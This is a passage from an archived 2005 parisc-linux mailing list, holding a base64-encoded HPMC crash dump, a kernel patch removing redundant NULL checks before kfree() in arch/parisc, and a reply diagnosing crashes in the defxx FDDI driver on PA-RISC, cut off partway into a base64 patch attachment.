ICAgICAgICAgICAgICAgICAgID0gMHgwMDMwMTAzYgpBc3Npc3RzIENoZWNrICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMApBc3Npc3QgU3RhdGUgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAw
MApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApTeXN0ZW0gUmVzcG9u
ZGVyIEFkZHJlc3MgICAgID0gMHgwMDAwMDBmZmZlZTAwYzgwClN5c3RlbSBSZXF1ZXN0b3IgQWRk
cmVzcyAgICAgPSAweGZmZmZmZmZmZmZmYTAwMDAKCkZsb2F0aW5nLVBvaW50IFJlZ2lzdGVycyAw
IC0gMzEKMDAtMDMgICAwMDAwMDAxZjAwMDAwMDAwICAwMDAwMDAxZjAwMDAwMDAwICAwMDAwMDAx
ZjAwMDAwMDAwICAwMDAwMDAxZjAwMDAwMDAwCjA0LTA3ICAgMDAwMDAwMDAwMDAwMDAwMCAgNTU1
NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NQowOC0xMSAg
IDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1
NTU1NTU1NTU1NTU1NTUKMTItMTUgICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1
ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1CjE2LTE5ICAgNTU1NTU1NTU1NTU1
NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1
NQoyMC0yMyAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDA2NDAwMDAwMDNj
MDhjMDAgIDAwMDAwMDAwNDMxYmRlODMKMjQtMjcgICAxN2Q3ODQwMDAwMDAwMDAwICA1NTU1NTU1
NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1CjI4LTMxICAgNTU1
NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1
NTU1NTU1NTU1NQoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoKCic5
MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBVbmFyY2hpdGVjdGVkIChwZXItQ1BVKScsIHJldiAx
LCAxNDAgYnl0ZXM6CgpDaGVjayBTdW1tYXJ5ICAgICAgICAgICAgICAgID0gMHhjYjgxMDQxMDA4
MDAwMDAwCkF2YWlsYWJsZSBNZW1vcnkgICAgICAgICAgICAgPSAweDAwMDAwMDAwNDAwMDAwMDAK
Q1BVIERpYWdub3NlIFJlZ2lzdGVyIDIgICAgICA9IDB4MDIwMzAwMDAwMDAwMDAwNApDUFUgU3Rh
dHVzIFJlZ2lzdGVyIDAgICAgICAgID0gMHgyNDIwYzIwMDAwMDAwMDAwCkNQVSBTdGF0dXMgUmVn
aXN0ZXIgMSAgICAgICAgPSAweDgwMDIwMDAwMDAwMDAwMDAKU0FERCBMT0cgICAgICAgICAgICAg
ICAgICAgICA9IDB4YzEwZjAwZmZmZWUwMGM4MApSZWFkIFNob3J0IExPRyAgICAgICAgICAgICAg
ID0gMHhjMWFmMDBmZmZlZTAwYzgwCkVSUk9SX1NUQVRVUyAgICAgICAgICAgICAgICAgPSAweDAw
MDAwMDAwMDAxMDAwMTAKTUVNX0FERFIgICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAxZmYz
ZmZmZmZmZgpNRU1fU1lORCAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAw
Ck1FTV9BRERSX0NPUlIgICAgICAgICAgICAgICAgPSAweDAwMDAwMWZmM2ZmZmZmZmYKTUVNX1NZ
TkRfQ09SUiAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApSVU5fREFUQV9ISUdI
ICAgICAgICAgICAgICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClJVTl9EQVRBX0xPVyAgICAgICAg
ICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAKUlVOX0NUUkwgICAgICAgICAgICAgICAgICAg
ICA9IDB4MDAwMDAyMWMwMDAwMTQxOApSVU5fQUREUiAgICAgICAgICAgICAgICAgICAgID0gMHhj
MWJmZjBmZmZlZDA4MDQwClN5c3RlbSBSZXNwb25kZXIgUGF0aCAgICAgICAgPSAweDAwZmZmZmZm
ZmZmZmZmZmYKCgpIUE1DIFBJTSBBbmFseXNpcyBJbmZvcm1hdGlvbjoKClRpbWVzdGFtcCA9IAog
IFN1biBBcHIgIDEwIDIwOjQxOjAxIEdNVCAyMDA1ICAgICgyMDowNTowNDoxMDoyMDo0MTowMSkK
CgonOTAwMC83ODUgQixDLEogV29ya3N0YXRpb24gSFBNQyBQSU0gQW5hbHlzaXMgKHBlci1DUFUp
JywgcmV2IDAsIDEzMDQgYnl0ZXM6CgpBIERhdGEgSS9PIEZldGNoIFRpbWVvdXQgb2NjdXJyZWQg
d2hpbGUgQ1BVIDAgd2FzCnJlcXVlc3RpbmcgaW5mb3JtYXRpb24gZnJvbSBhIGRldmljZSB3aXRo
IHRoZSBhZGRyZXNzIDB4ZmZmZWUwMGM4MC4KCgpNZW1vcnkvSU8gQ29udHJvbGxlciBFcnJvciBB
bmFseXNpcyBJbmZvcm1hdGlvbjoKClRoZSBNZW1vcnkvSU8gQ29udHJvbGxlciBvbmx5IG9ic2Vy
dmVkIHRoZSBCcm9hZGNhc3QgRXJyb3IuICBJdCBkaWQgbm90IGxvZwphbnkgYWRkaXRpb25hbCBp
bmZvcm1hdGlvbiBhYm91dCB0aGUgSFBNQy4KCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChx
IHRvIHF1aXQpPiAKCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3IgMCBMUE1DIEluZm9ybWF0
aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKQ2hlY2sgVHlwZSAgICAgICAgICAgICAgICAgICA9IDB4
MDAwMDAwMDAKSS9EIENhY2hlIFBhcml0eSBJbmZvICAgICAgICA9IDB4MDAwMDAwMDAKQ2FjaGUg
Q2hlY2sgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKVExCIENoZWNrICAgICAgICAgICAg
ICAgICAgICA9IDB4MDAwMDAwMDAKQnVzIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAw
MDAwMDAKQXNzaXN0cyBDaGVjayAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0IFN0
YXRlICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKUGF0aCBJbmZvICAgICAgICAgICAgICAg
ICAgICA9IDB4MDAwMDAwMDAKU3lzdGVtIFJlc3BvbmRlciBBZGRyZXNzICAgICA9IDB4MDAwMDAw
MDAwMDAwMDAwMApTeXN0ZW0gUmVxdWVzdG9yIEFkZHJlc3MgICAgID0gMHgwMDAwMDAwMDAwMDAw
MDAwCgoKLS0tLS0tLS0tLS0tLS0tLS0gIFByb2Nlc3NvciAwIFRPQyBJbmZvcm1hdGlvbiAtLS0t
LS0tLS0tLS0tLS0tLS0tCgpHZW5lcmFsIFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDEwNTNkNjYwICAwMDAwMDAwMDEwMTI2YTdjICAwMDAwMDAwMDEw
NmMwODEwCjA0LTA3ICAgMDAwMDAwMDAwMDAyYWJkNSAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAxMDZjMDBkMCAgMDAwMDAwMDAwMDEwYjAyNAowOC0xMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwZmZmYTAwMDAgIDAwMDAwMDAwZjA0MDhjZDgKMTItMTUg
ICAwMDAwMDAwMGYwNDA3ZWYwICAwMDAwMDAwMDNiOWFjYTAwICAwMDAwMDAwMDEwNmMwMDEwICAw
MDAwMDAwMDEwNWQ2MDEwCjE2LTE5ICAgMDAwMDAwMDAxMDVjNzA4MCAgMDAwMDAwMDBmMDAwMDE3
YyAgMDAwMDAwMDBmMDAwMDE3NCAgMDAwMDAwMDAwMDA0NThmZQoyMC0yMyAgIDAwMDAwMDFkODYx
MTZkMDUgIDAwMDAwMDAwMDAwNjFhODAgIDAwMDAwMDAwMTAxMjY4ZjAgIDAwMDAwMDBkMzdjMDgz
N2IKMjQtMjcgICAwMDAwMDAwMDAwMWFiYjY3ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDJhYmQ1ICAwMDAwMDAwMDEwNWJkMDEwCjI4LTMxICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAwMDZiZTk2MCAgMDAwMDAwMDAxMDVjNzQ4MCAgMDAwMDAwMDAxMDEyNmE3YwoKPFByZXNzIGFu
eSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoKQ29udHJvbCBSZWdpc3RlcnMgMCAtIDMx
CjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMDgtMTEgICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMGMwICAwMDAwMDAw
MDAwMDAwMDNmCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDEwYjAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxNi0xOSAgIDAwMDAwMDFkODYxOTYyYTAg
IDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMTAxMjZhYzggIDAwMDAwMDAwMDIwMDA4YjMKMjAt
MjMgICAwMDAwMDAwMDEwMjQwMDAxICAwMDAwMDAwMDcxZGM3NDcwICAwMDAwMDBmZjAwMDRmODBm
ICAwMDAwMDAwMDgwMDAwMDAwCjI0LTI3ICAgMDAwMDAwMDAwMDY2MjAwMCAgMDAwMDAwMDAwMDY2
MjAwMCAgMDAwMDAwMDAwMDA0NDAyMSAgMDAwMDAwMDBmMDQxMjAwMAoyOC0zMSAgIDAwMDAwMDAw
NTU1NTU1NTUgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAwMTExZjQwMDAgIDAwMDAwMDAwMTA2
NzAwMDAKU3BhY2UgUmVnaXN0ZXJzIDAgLSA3CgowMC0wMyAgIDAwMDAwMDAwICAgICAgICAgIDAw
MDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwCjA0LTA3ICAgMDAwMDAw
MDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAK
CklJQSBTcGFjZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKSUlBIE9m
ZnNldCAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAxMDEyNmFjYwpDUFUgU3RhdGUgICAg
ICAgICAgICAgICAgICAgID0gMHg5ZTAwMDAwMQoKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVl
IChxIHRvIHF1aXQpPiAKCk1lbW9yeSBFcnJvciBMb2cgSW5mb3JtYXRpb246CgpUaW1lc3RhbXAg
PSAKICBTdW4gQXByICAxMCAyMDo0MTowMSBHTVQgMjAwNSAgICAoMjA6MDU6MDQ6MTA6MjA6NDE6
MDEpCgoKJzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9uIE1lbW9yeSBFcnJvciBMb2cnLCByZXYg
MCwgNjQgYnl0ZXM6CgogICBObyBtZW1vcnkgZXJyb3JzIGxvZ2dlZAoKCkkvTyBNb2R1bGUgRXJy
b3IgTG9nIEluZm9ybWF0aW9uOgoKVGltZXN0YW1wID0gCiAgU3VuIEFwciAgMTAgMjA6NDE6MDEg
R01UIDIwMDUgICAgKDIwOjA1OjA0OjEwOjIwOjQxOjAxKQoKCic5MDAwLzc4NSBCLEMsSiBXb3Jr
c3RhdGlvbiBJTyBFcnJvciBMb2cnLCByZXYgMCwgMjI4IGJ5dGVzOgoKIFJvcGUgICAgIFdvcmQx
ICAgICAgICBXb3JkMiAgICAgICAgICAgIFdvcmQzCi0tLS0tLSAtLS0tLS0tLS0tLS0gLS0tLS0t
LS0tLS0tCiAgIDAgICAgMHgwMDAyZTAwMCAgIDB4MGUwY2MwMDkgICAweDAwMDAwMDAwMDAwMDBj
ODAKICAgMSAgICAweDAwMDAwMDAwICAgMHgxZTBjYzAwOSAgIDB4MDAwMDAwMDBmZWQzMjA0OAog
ICAyICAgIC0tLS0tLS0tLS0gICAweDJlMGNjMDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tCiAgIDMg
ICAgLS0tLS0tLS0tLSAgIDB4M2UwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0tLS0KICAgNCAgICAw
eDAwMDAwMDAwICAgMHg0ZTBjYzAwOSAgIDB4MDAwMDAwMDBmZWQzODA0OAogICA1ICAgIC0tLS0t
LS0tLS0gICAweDVlMGNjMDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tCiAgIDYgICAgMHgwMDAwMDAw
MCAgIDB4NmUwY2MwMDkgICAweDAwMDAwMDAwZmVkM2MwNDgKICAgNyAgICAtLS0tLS0tLS0tICAg
MHg3ZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQoK
------=_Part_842_22529426.1113168660584
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_842_22529426.1113168660584--



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Juhl <juhl-lkml@dif.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: kfree cleanup in arch/parisc/
Date: Mon, 11 Apr 2005 22:54:25 +0200 (CEST)
Lines: 78
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0504112249510.2480__13817.8258938298$1416624537$gmane$org@dragon.hyggekrogen.localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624537 26733 80.91.229.3 (22 Nov 2014 02:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:57 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>,
 Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2005 20:52:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 11 Apr 2005 22:52:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58D9F7D665;
	Mon, 11 Apr 2005 14:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09392-03; Mon, 11 Apr 2005 14:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F00C67D64D;
	Mon, 11 Apr 2005 14:51:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FFEB7D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 14:51:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08753-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 14:51:49 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1E97E7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 14:51:49 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9DD14496222; Mon, 11 Apr 2005 14:51:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from saerimmer.dif.dk (mail.dif.dk [193.138.115.101])
	by palinux.hppa (Postfix) with ESMTP id 0C791496220;
	Mon, 11 Apr 2005 14:51:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by saerimmer.dif.dk (Postfix) with ESMTP
	id 32917FFC74; Mon, 11 Apr 2005 23:02:03 +0200 (CEST)
Original-Received: from saerimmer.dif.dk ([127.0.0.1])
	by localhost (saerimmer [127.0.0.1]) (amavisd-new,
	port 10024) with ESMTP
	id 09397-09; Mon, 11 Apr 2005 23:02:00 +0200 (CEST)
Original-Received: from diftmgw2.backbone.dif.dk (diftmgw2.backbone.dif.dk
	[10.227.136.246]) by saerimmer.dif.dk (Postfix) with ESMTP
	id 70674FFC70; Mon, 11 Apr 2005 23:02:00 +0200 (CEST)
Original-Received: from DIFPST1A.backbone.dif.dk ([10.227.136.220]) by
	diftmgw2.backbone.dif.dk with InterScan Messaging Security
	Suite; Mon, 11 Apr 2005 22:50:32 +0200
Original-Received: from [172.16.2.11] (10.227.136.29 [10.227.136.29]) by
	DIFPST1A.backbone.dif.dk with SMTP (Microsoft Exchange Internet
	Mail Service Version 5.5.2657.72)
	id HNMVS06D; Mon, 11 Apr 2005 22:51:40 +0200
X-Virus-Scanned: amavisd-new at dif.dk
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KYYoYsEMeSE5+76WZHQhaXN2IGRvb8AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25113


Get rid of redundant NULL pointer checks before kfree() in arch/parisc/ as 
well as a few blank lines.

Signed-off-by: Jesper Juhl <juhl-lkml@dif.dk>

diff -upr linux-2.6.12-rc2-mm3-orig/arch/parisc/kernel/ioctl32.c linux-2.6.12-rc2-mm3/arch/parisc/kernel/ioctl32.c
--- linux-2.6.12-rc2-mm3-orig/arch/parisc/kernel/ioctl32.c	2005-04-05 21:21:08.000000000 +0200
+++ linux-2.6.12-rc2-mm3/arch/parisc/kernel/ioctl32.c	2005-04-11 22:48:03.000000000 +0200
@@ -104,12 +104,9 @@ static int drm32_version(unsigned int fd
 	}
 
 out:
-	if (kversion.name)
-		kfree(kversion.name);
-	if (kversion.date)
-		kfree(kversion.date);
-	if (kversion.desc)
-		kfree(kversion.desc);
+	kfree(kversion.name);
+	kfree(kversion.date);
+	kfree(kversion.desc);
 	return ret;
 }
 
@@ -166,9 +163,7 @@ static int drm32_getsetunique(unsigned i
 			ret = -EFAULT;
 	}
 
-	if (karg.unique != NULL)
-		kfree(karg.unique);
-
+	kfree(karg.unique);
 	return ret;
 }
 
@@ -265,7 +260,6 @@ static int drm32_info_bufs(unsigned int 
 	}
 
 	kfree(karg.list);
-
 	return ret;
 }
 
@@ -305,7 +299,6 @@ static int drm32_free_bufs(unsigned int 
 
 out:
 	kfree(karg.list);
-
 	return ret;
 }
 
@@ -494,15 +487,10 @@ static int drm32_dma(unsigned int fd, un
 	}
 
 out:
-	if (karg.send_indices)
-		kfree(karg.send_indices);
-	if (karg.send_sizes)
-		kfree(karg.send_sizes);
-	if (karg.request_indices)
-		kfree(karg.request_indices);
-	if (karg.request_sizes)
-		kfree(karg.request_sizes);
-
+	kfree(karg.send_indices);
+	kfree(karg.send_sizes);
+	kfree(karg.request_indices);
+	kfree(karg.request_sizes);
 	return ret;
 }
 
@@ -555,9 +543,7 @@ static int drm32_res_ctx(unsigned int fd
 			ret = -EFAULT;
 	}
 
-	if (karg.contexts)
-		kfree(karg.contexts);

From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FDDI (defxx) and Linux/PA = HPMC
Date: Mon, 11 Apr 2005 23:44:55 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <e6eae02905041115445712f17f@mail.gmail.com>
References: <e6eae02905041013203d0517fd@mail.gmail.com>
	<e6eae02905041014314d9bd645@mail.gmail.com>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_2008_17805546.1113259495646"
X-Trace: ger.gmane.org 1416624538 26736 80.91.229.3 (22 Nov 2014 02:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:58 +0000 (UTC)
To: Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2005 22:45:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 12 Apr 2005 00:45:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FDB97D665;
	Mon, 11 Apr 2005 16:45:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09840-02; Mon, 11 Apr 2005 16:45:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD42D7D667;
	Mon, 11 Apr 2005 16:45:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAEA37D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 16:44:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09408-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 16:44:57 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4E85E7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Apr 2005 16:44:57 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id F1345496221; Mon, 11 Apr 2005 16:44:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201])
	by palinux.hppa (Postfix) with ESMTP id A9724496220
	for <parisc-linux@parisc-linux.org>;
	Mon, 11 Apr 2005 16:44:56 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 58so2199215wri
	for <parisc-linux@parisc-linux.org>;
	Mon, 11 Apr 2005 15:44:55 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
	b=e57s187Zqd/37ymoHvzkUfprPgsbnpwXUENYlbnywj87+snIH8i827rJkxdqFp8iMZ2WmpaFafxnmVq2eFlCTkohT6xGnd+bKZqm4r1A8pUd552F6+/O6muI28NIoW47JpXLhniM6g8AihHIIsFhUx/5egU7rOeNy5nGiZRo7Ug=
Original-Received: by 10.54.49.13 with SMTP id w13mr366847wrw;
	Mon, 11 Apr 2005 15:44:55 -0700 (PDT)
Original-Received: by 10.54.57.13 with HTTP; Mon, 11 Apr 2005 15:44:55 -0700 (PDT)
In-Reply-To: <e6eae02905041014314d9bd645@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rJgoYos+eSE5+76WZHQhaXN2IGRvbwC3
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25114

------=_Part_2008_17805546.1113259495646
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Apr 10, 2005 10:31 PM, Max Grabert <parisc@gmail.com> wrote:
> On Apr 10, 2005 9:20 PM, Max Grabert <parisc@gmail.com> wrote:
> 
> [...]
> 
> > I'm trying to get FDDI working on Linux/PA.
> >
> > So I put a DEFPA card into my c3k (2.6.12-rc2-pa1, 32bit,
> > gcc-3.4, Debian/testing), but it didn't get far:
> 
> Sorry, hat to reply to myself, forgot to attach a 'ser pim' output ...
> 
> Note the driver (defxx.c) is quite old, but is reported to
> work on x86 and 2.6 (and ppc on 2.4).

Well, apparently the report that the driver was working on
ppc is not true. The driver is not big-endian safe.

BTW, the HPMC is caused by drivers/net/defxx.c#527,
which is the initialization routine for EISA cards, which
is executed regardless whether there is EISA support
compiled into the kernel or not. The inl() in there causes
the HPMC.

Attached a patch that adresses at least the obvious big-endian
issues and disables the EISA initialization if CONFIG_EISA
is not defined.
With the patch my c3k boots up, detects the card and it
seems to work, but I can't test it properly right now, since
I don't have a second FDDI card here (yet).

Greetings,
   Max

------=_Part_2008_17805546.1113259495646
Content-Type: text/x-patch; name="fddi.patch"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="fddi.patch"

LS0tIGxpbnV4LTIuNi9kcml2ZXJzL25ldC9kZWZ4eC5jCTIwMDUtMDQtMTEgMjM6MTc6MjQuMDAw
MDAwMDAwICswMTAwCisrKyBkZWZ4eC5jCTIwMDUtMDQtMTEgMjM6MzQ6NTEuMDAwMDAwMDAwICsw
